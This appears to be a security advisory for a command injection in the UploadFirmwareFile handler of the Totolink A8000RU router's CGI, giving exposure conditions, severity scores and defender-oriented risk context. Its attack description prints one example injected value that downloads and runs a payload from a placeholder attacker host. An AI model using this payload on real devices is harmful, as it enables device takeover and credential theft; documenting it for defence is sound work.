Totolink A8000RU EUVD-2026-31677

Reachability to the Totolink A8000RU Web Management Interface on the HTTP(S) administrative service is required, and the attacker must be able to invoke the UploadFirmwareFile handler in /cgi-bin/cstecgi.cgi. CVSS 4.0 PR:N and UI:N indicate no authentication or user interaction is needed against the vulnerable endpoint as analyzed. The principal limiting factor in practice is network exposure: the management interface is bound to the LAN by default on most Totolink devices, so internet-wide exploitation requires either WAN-side remote administration to be enabled, the attacker to already be on the LAN/Wi-Fi, or a browser-assisted vector (CSRF, DNS rebinding) against a logged-in or unauthenticated admin session. Exploitation is constrained to the specific firmware build 7.1cu.643_b20200521 as enumerated by EUVD.

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N indicates network-reachable, low-complexity, unauthenticated exploitation with high confidentiality, integrity, and availability impact on the device - a textbook high-severity profile, scored 8.9. SSVC corroborates this with Exploitation:poc, Automatable:yes, and Technical Impact:total, and publicly available PoC code is hosted on GitHub. The countervailing signal is EPSS at 0.89% (76th percentile), which is meaningful but not in the top-tier exploitation-likelihood band; this likely reflects that the A8000RU is a relatively niche SOHO device with limited internet-facing exposure compared to mainstream router brands, and the vulnerability is NOT on the CISA KEV list. For defenders, the real-world risk is highest where the management interface is exposed to untrusted networks (WAN or guest VLAN); behind a trusted LAN with no remote admin, real risk is markedly lower despite the high CVSS.

An attacker who can reach the router's web management interface - either across the LAN, via an exposed WAN management port, or by chaining CSRF/DNS-rebinding against an admin's browser - sends a crafted POST request to /cgi-bin/cstecgi.cgi invoking UploadFirmwareFile with a FileName parameter containing shell metacharacters (for example, a value like ;wget http://attacker/x -O /tmp/x;sh /tmp/x;). Because the parameter is concatenated into a shell command, the injected payload runs with the privileges of the CGI process (typically root on embedded routers), yielding full device takeover, credential theft, and a foothold for pivoting onto the internal network. Public PoC code on GitHub (Litengzheng/vuldb_new2) lowers the barrier to weaponization.